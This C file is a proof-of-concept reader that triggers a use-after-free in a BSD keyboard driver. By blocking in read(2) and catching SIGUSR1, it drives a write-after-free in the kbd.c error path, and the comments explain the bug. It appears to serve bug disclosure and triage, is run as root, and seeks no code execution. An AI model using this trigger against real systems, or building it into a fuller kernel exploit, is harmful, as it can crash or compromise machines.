/*
 * kbd_uaf.c - DF-4297 PoC userland reader.
 *
 * usage: kbd_uaf < /dev/kbdN        (reader mode: block in read(2))
 *
 * genkbdread (sys/dev/misc/kbd/kbd.c:726-777) captures `sc = dev->si_drv1`
 * and blocks in tsleep(sc, ..., "kbdrea", 0) at kbd.c:750 while the queue
 * is empty. When the driver later calls kbd_detach() (kbd.c:582), the sc is
 * freed out from under the sleeping reader with no wakeup; a signal then
 * drives the error path at kbd.c:756-759:
 *
 *	if (error) {
 *		sc->gkb_flags &= ~KB_ASLEEP;	<-- write-after-free
 *
 * $FreeBSD$
 */

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

static void
noop(int sig __unused)
{
}

int
main(void)
{
	char b[8];
	ssize_t n;
	struct sigaction sa;

	/*
	 * Catch SIGUSR1 without SA_RESTART so a wake-up from tsleep returns
	 * EINTR through the kbd.c:756-759 error path
	 * (sc->gkb_flags &= ~KB_ASLEEP) instead of restarting the read.
	 */
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = noop;
	sigaction(SIGUSR1, &sa, NULL);

	/*
	 * /dev/kbdN is 0600 root:wheel and genkbdopen() additionally requires
	 * SYSCAP_RESTRICTEDROOT (kbd.c:672) - this PoC runs as root, matching
	 * the privileged threat model of the detach path.
	 */
	n = read(STDIN_FILENO, b, sizeof(b));
	fprintf(stderr, "kbd_uaf reader: read(2) returned %zd errno=%d (%s)\n",
		n, errno, strerror(errno));
	return (0);
}
